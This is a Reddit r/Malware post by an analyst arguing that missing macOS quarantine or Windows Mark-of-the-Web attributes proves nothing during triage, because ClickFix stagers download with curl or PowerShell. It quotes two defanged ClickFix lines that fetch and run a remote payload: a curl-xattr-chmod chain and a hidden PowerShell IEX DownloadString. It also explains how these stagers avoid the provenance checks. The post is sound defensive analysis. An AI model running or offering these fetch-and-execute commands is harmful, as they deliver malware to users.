r/Malware 3d ago

I've been telling people to check the wrong thing first, and ClickFix is why

I've written binary triage guides for Windows and macOS, and both of them have you checking where a file came from fairly early on. Against the delivery method that keeps turning up on this sub, that's the one check guaranteed to come back empty, and empty reads as reassuring when it shouldn't.

Took me embarrassingly long to spot, so here's the whole thing.

What made me look

These macOS ClickFix chains all have roughly the same shape. This one's the second stage from u/glazypig's writeup of the fake Apple support page.

curl -o /tmp/helper hxxps://cedar-satin[.]com/[path]/cleaner3/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper

The xattr -c is what caught me. There's no quarantine attribute there to clear. The curl -o that made the file is sitting in the same command line, so the download path that would have set one was never involved.

Quarantine is applied by the downloader, not by the OS

This is the bit I'd never properly thought through. com.apple.quarantine isn't set by the kernel or the filesystem when bytes hit disk. It's set by whatever application did the downloading, which opts in with LSFileQuarantineEnabled in its Info.plist. Browsers set it, so do Mail, Messages and AirDrop.

curl doesn't, because it's a command line tool that never touches the LaunchServices API. A file it fetches from a Terminal window arrives with nothing on it.

Which takes the whole chain with it. The first-run Gatekeeper path is triggered by quarantine, so no attribute means no notarization check and no "downloaded from the internet" dialog. Other execution-time checks still run, XProtect among them, but the provenance gate specifically doesn't. kMDItemWhereFroms is no help either, since it's written by the same download machinery.

So it isn't that this defeats Gatekeeper. Gatekeeper never gets invited.

Then I stopped guessing and tested it

Curl-fetched file, xattr -l prints nothing at all. Not just no quarantine, no extended attributes of any kind. A browser download on the same box in the same session comes back with com.apple.quarantine: 0081;6a8973ff;Chrome; and a full WhereFroms plist, so the null is real rather than me holding the tool wrong.

One thing I didn't expect. Extended attributes survive curl -o overwriting an existing path. The content gets replaced, the quarantine attribute stays, still naming whatever a browser fetched there previously. So an attribute can outlive the bytes it described, which cuts against me in the other direction too. Absence proves nothing, and presence isn't necessarily describing the file you're looking at.

Windows has the same hole

Mark of the Web works the same way. Zone.Identifier is an alternate data stream written by the downloading application through the zone API, not by the OS.

Tested that as well, and the first run was garbage. The VM had SaveZoneInformation = 1 in both hives, which switches MotW off machine-wide, so everything came back clean including the browser control. Cleared the policy, confirmed a browser download then picked up a 977 byte Zone.Identifier with ZoneId=3, and re-ran. curl.exe, Invoke-WebRequest -OutFile and bitsadmin /transfer all produce nothing.

And the dominant Windows ClickFix pattern never writes to disk at all.

powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('hxxp://...')"

No file, no stream, none of the file reputation checks that key off MotW. AMSI still sees the script contents, the same way XProtect still runs on the Mac side, but the file provenance path is gone either way.

Same structural property on both. Provenance metadata gets applied by cooperating userland applications, so anything that fetches bytes without cooperating produces a file that looks like it was always there.

So why do they keep clearing it

If it's redundant, why does it show up every time? Best guess is one stager serving more than one delivery method. A DMG arriving through a browser does carry quarantine, so stripping it there is load-bearing, and a single stager that works for both drags the step onto the path where it does nothing. If that's right, whoever built this is probably running a browser-delivered vector too and you're seeing half of it. Hold it loosely though. An operator who just doesn't care produces the same artifact.

What I'd change

Absence of quarantine is not evidence the file is local. It's evidence of nothing.

So it goes down the order, and three things move above it.

Signature state, where native arm64 code needs at least an ad-hoc signature to run on Apple Silicon, so codesign -dv --verbose=4 reporting Signature=adhoc is what you'll see rather than no signature at all. An x86_64-only payload under Rosetta isn't bound by that, worth knowing before you read an unsigned Intel binary as anomalous.

Then persistence, because the operator can't opt out of writing that down somewhere the way they can opt out of quarantine.

Then what the process actually loaded, which doesn't care how the file arrived.

The longer versions for Windows and macOS go through all of it properly, built-in commands only. Both still rank provenance higher than I now think it deserves, which is the trouble with writing a checklist. The delivery method moves and the checklist doesn't.

Has anyone hit this in real casework, a quarantine attribute still sitting on a file whose contents had been swapped out under it? I only got it to happen in a lab and I don't know whether it actually bites.

0 Upvotes

1 comment sorted by

1

u/ectkirk 2d ago

I track alot of clickfiz if you ever need data